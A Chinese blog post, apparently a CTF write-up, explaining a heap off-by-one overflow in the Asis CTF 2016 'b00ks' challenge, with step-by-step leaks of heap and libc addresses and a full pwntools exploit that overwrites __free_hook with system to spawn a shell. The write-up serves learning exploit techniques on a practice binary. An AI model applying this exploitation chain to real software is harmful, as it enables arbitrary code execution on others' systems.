堆溢出_off_by_one

本文最后更新于 2024年10月9日 上午

堆溢出_off_by_one

原理

顾名思义就是只溢出一个字节,溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据,或者用NULL字节进行覆盖,从而造成数据泄露,或者块结构数据的控制

接下来用一道经典的off-by-one的题目来详细解释

[Asis CTF 2016] b00ks

img

这个程序有5个模块

而在change模块中存在\x00的溢出

img

而change模块的数据是存在unk_202040

img

creatbook时malloc映射的地址时存在unk_202060

img

img

二者的偏移刚好是0x20,那么我们就可以\x00的溢出,把\x00覆盖掉来泄露出book的地址

img

img

可以看到创建book1的地址已经把\x00覆盖,打印author的时候就可以把book1泄露出来

1
2
3
4
5
6
p.sendlineafter('name: ','a'*0x1f+'b')
creatbook(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
printf()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('heap_addr-->'+hex(heap_addr))

接下来是想办法getshell

知识点:一个chunk>144被free时会被放到unsorted bin 中,unsorted bin 的bk指针时glibc里面的,如果我们能够泄露,那么就可以得到基址,最后劫持__free_hook函数即可。

book1的指针和book1_des的指针地址实际上只有最后两位不同,我们只要控制号book1的大小,就能让book1_des的后两位为\x00,这样在堆溢出一次把book1的指针后两位覆盖,这样book1就指向了book1_des,而des是可编辑的,给我们伪造book1,即fake_book1创造了条件。

首先再创建一个book2再free得到unsorted bin

img

img

可以看到heap_addr到bk指针的偏移就是0x20+0x10

这里还要creat book3来劫持__free_hook,首先把fake_book1_des指针指向book3_des的指针,这样后面就可以通过edit模块,把book3_des修改为__free_hook,在把__free_hook的内容改为system,达到劫持的目的

那么我们fake_book1的伪造为

1
2
3
4
5
6
7
8
9
10
creatbook(0x80,'cccccccc',0x60,'dddddddd')
creatbook(0x20,'/bin/sh',0x20,'/bin/sh') #创造book3,为劫持__free_hook
delete(2) #创造unsorted bin

edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
#伪造book1,即fake_book1,
#将fake_book1_name指向bk指针
#将fake_book1_des指向book3的des
change('a'*0x20) #把book1的指针改为fake_book1
printf() #leak

泄露出来的bk指针

img

查询这个指针上下200

img

img

发现__memalign_hook和__malloc_hook,这两个都是glibc里面的,这里选择__malloc_hook,偏移为0x68,即可泄露libc

1
2
3
4
5
6
7
8
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("leak-->"+hex(libc_base))
libc_base+=-0x68-libc.symbols['__malloc_hook']
print('libc_base-->'+hex(libc_base))
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']

edit(1,p64(__free_hook)+p64(0x10)) #把book3的des指针改为__free_hook

最后再把book3_des改为system,输入/bin/sh来getshell

1
2
edit(3,p64(system))
delete(3)

img

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
#p = remote('node5.buuoj.cn','29085')
p=process('./b00ks')
elf = ELF('./b00ks')
libc = ELF("./libc-2.23.so")
context.log_level = 'info'
context(arch='amd64',os='linux',log_level='debug')
#gdb.attach(p)


def creatbook(name_size,name,content_size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size: ',str(name_size))
p.sendlineafter('chars): ',name)
p.sendlineafter('size: ',str(content_size))
p.sendlineafter('tion: ',content)
def delete(index):
p.sendlineafter('> ','2')
p.sendlineafter('delete: ',str(index))
def edit(index,content):
p.sendlineafter('> ','3')
p.sendlineafter('edit: ',str(index))
p.sendlineafter('ption: ',content)
def printf():
p.sendlineafter('> ','4')
def change(author_name):
p.sendlineafter('> ','5')
p.sendlineafter('name: ',author_name)

p.sendlineafter('name: ','a'*0x1f+'b')
creatbook(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
printf()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
print('heap_addr-->'+hex(heap_addr))
creatbook(0x80,'cccccccc',0x60,'dddddddd')
creatbook(0x20,'/bin/sh',0x20,'/bin/sh')
delete(2)

edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x180+0x50)+p64(0x20))
change('a'*0x20)
printf()

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("leak-->"+hex(libc_base))
libc_base+=-0x68-libc.symbols['__malloc_hook']
print('libc_base-->'+hex(libc_base))
__free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']

edit(1,p64(__free_hook)+p64(0x10))

print('__free_hook-->'+hex(__free_hook))

edit(3,p64(system))
delete(3)
p.interactive()
#pause()

作者理解的第一道堆题,纪念一下

【Asis CTF 2016】b00ks

[Asis CTF 2016] b00ks —— Off-By-One笔记与思考


堆溢出_off_by_one
http://example.com/2024/08/20/堆溢出-off-by-one/
作者
清风
发布于
2024年8月20日
许可协议